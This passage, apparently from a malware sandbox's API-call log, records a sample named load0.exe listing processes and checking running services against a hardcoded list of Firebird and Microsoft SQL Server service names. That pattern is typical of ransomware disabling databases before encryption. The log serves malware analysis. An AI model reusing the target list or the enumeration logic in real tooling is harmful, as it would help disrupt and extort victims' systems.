(lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0273.467] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0273.467] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0273.467] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0273.467] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0273.467] lstrlenW (lpString="SENS") returned 4 [0273.467] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0273.467] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0273.467] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0273.467] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0273.467] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0273.467] lstrlenW (lpString="ShellHWDetection") returned 16 [0273.467] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0273.467] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0273.467] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0273.467] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0273.467] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0273.467] lstrlenW (lpString="Spooler") returned 7 [0273.467] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0273.467] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0273.467] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0273.467] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0273.468] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0273.468] lstrlenW (lpString="StateRepository") returned 15 [0273.468] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0273.468] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0273.468] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0273.468] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0273.468] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0273.468] lstrlenW (lpString="SysMain") returned 7 [0273.468] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0273.468] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0273.468] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0273.468] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0273.468] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0273.468] lstrlenW (lpString="SystemEventsBroker") returned 18 [0273.468] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0273.468] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0273.468] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0273.468] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0273.468] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0273.468] lstrlenW (lpString="Themes") returned 6 [0273.468] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0273.468] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0273.468] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0273.468] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0273.468] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0273.468] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0273.468] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0273.469] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0273.469] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0273.469] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0273.469] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3faf028 | out: hHeap=0x630000) returned 1 [0273.469] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xff8 [0273.538] Process32FirstW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0273.539] Process32NextW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0273.539] lstrlenW (lpString="System") returned 6 [0273.540] Process32NextW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0273.540] lstrlenW (lpString="smss.exe") returned 8 [0273.540] Process32NextW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0273.541] lstrlenW (lpString="csrss.exe") returned 9 [0273.541] Process32NextW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0273.542] lstrlenW (lpString="wininit.exe") returned 11 [0273.542] Process32NextW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0273.542] lstrlenW (lpString="csrss.exe") returned 9 [0273.542] Process32NextW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0273.543] lstrlenW (lpString="winlogon.exe") returned 12 [0273.543] Process32NextW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0273.544] lstrlenW (lpString="services.exe") returned 12 [0273.544] Process32NextW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0273.545] lstrlenW (lpString="lsass.exe") returned 9 [0273.545] Process32NextW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0273.545] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0273.545] Process32NextW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0273.546] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0273.546] Process32NextW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.547] lstrlenW (lpString="svchost.exe") returned 11 [0273.547] Process32NextW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.547] lstrlenW (lpString="svchost.exe") returned 11 [0273.548] Process32NextW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0273.548] lstrlenW (lpString="dwm.exe") returned 7 [0273.548] Process32NextW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.549] lstrlenW (lpString="svchost.exe") returned 11 [0273.549] Process32NextW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.550] lstrlenW (lpString="svchost.exe") returned 11 [0273.550] Process32NextW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.550] lstrlenW (lpString="svchost.exe") returned 11 [0273.551] Process32NextW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.551] lstrlenW (lpString="svchost.exe") returned 11 [0273.551] Process32NextW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x39c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.552] lstrlenW (lpString="svchost.exe") returned 11 [0273.552] Process32NextW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.553] lstrlenW (lpString="svchost.exe") returned 11 [0273.553] Process32NextW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.554] lstrlenW (lpString="svchost.exe") returned 11 [0273.554] Process32NextW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.554] lstrlenW (lpString="svchost.exe") returned 11 [0273.554] Process32NextW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.555] lstrlenW (lpString="svchost.exe") returned 11 [0273.555] Process32NextW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.556] lstrlenW (lpString="svchost.exe") returned 11 [0273.556] Process32NextW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0273.557] lstrlenW (lpString="spoolsv.exe") returned 11 [0273.557] Process32NextW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.557] lstrlenW (lpString="svchost.exe") returned 11 [0273.557] Process32NextW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x698, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0273.558] lstrlenW (lpString="audiodg.exe") returned 11 [0273.558] Process32NextW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0273.559] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0273.559] Process32NextW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x76c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0273.560] lstrlenW (lpString="Memory Compression") returned 18 [0273.560] Process32NextW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0273.560] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0273.560] Process32NextW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0273.561] lstrlenW (lpString="sihost.exe") returned 10 [0273.561] Process32NextW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.562] lstrlenW (lpString="svchost.exe") returned 11 [0273.562] Process32NextW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0273.563] lstrlenW (lpString="taskhostw.exe") returned 13 [0273.563] Process32NextW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c4, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0273.564] lstrlenW (lpString="msoia.exe") returned 9 [0273.564] Process32NextW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x9b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0273.565] lstrlenW (lpString="explorer.exe") returned 12 [0273.565] Process32NextW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0273.565] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0273.565] Process32NextW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0273.566] lstrlenW (lpString="SearchUI.exe") returned 12 [0273.566] Process32NextW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0273.567] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0273.567] Process32NextW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0273.568] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0273.568] Process32NextW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x9c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 1 [0273.568] lstrlenW (lpString="load0.exe") returned 9 [0273.568] Process32NextW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2a, th32ParentProcessID=0xdac, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 1 [0273.569] lstrlenW (lpString="load0.exe") returned 9 [0273.569] Process32NextW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2a, th32ParentProcessID=0xdac, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 0 [0273.570] CloseHandle (hObject=0xff8) returned 1 [0273.570] Sleep (dwMilliseconds=0x1f4) [0274.363] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3f64640 [0274.364] EnumServicesStatusExW (in: hSCManager=0x3f64640, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0) returned 0 [0274.364] GetLastError () returned 0xea [0274.364] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c30) returned 0x3faf028 [0274.365] EnumServicesStatusExW (in: hSCManager=0x3f64640, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3faf028, cbBufSize=0x1c30, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3faf028, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0) returned 1 [0274.365] CloseServiceHandle (hSCObject=0x3f64640) returned 1 [0274.366] lstrlenW (lpString="Appinfo") returned 7 [0274.366] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0274.366] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0274.366] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0274.366] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0274.366] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0274.366] lstrlenW (lpString="AppXSvc") returned 7 [0274.366] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0274.366] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0274.366] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0274.366] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0274.366] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0274.366] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0274.366] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0274.366] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0274.366] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0274.366] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0274.366] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0274.366] lstrlenW (lpString="Audiosrv") returned 8 [0274.366] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0274.366] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0274.366] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0274.366] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0274.366] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0274.366] lstrlenW (lpString="BFE") returned 3 [0274.366] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0274.366] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0274.366] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0274.366] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0274.366] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0274.366] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0274.366] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0274.367] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0274.367] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0274.367] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0274.367] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0274.367] lstrlenW (lpString="CDPSvc") returned 6 [0274.367] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0274.367] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0274.367] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0274.367] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0274.367] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0274.367] lstrlenW (lpString="ClickToRunSvc") returned 13 [0274.367] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0274.367] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0274.367] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0274.367] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0274.367] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0274.367] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0274.367] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0274.367] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0274.367] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0274.367] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0274.367] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0274.367] lstrlenW (lpString="CryptSvc") returned 8 [0274.367] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0274.367] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0274.367] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0274.367] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0274.367] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0274.368] lstrlenW (lpString="DcomLaunch") returned 10 [0274.368] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0274.368] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0274.368] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0274.368] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0274.368] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0274.368] 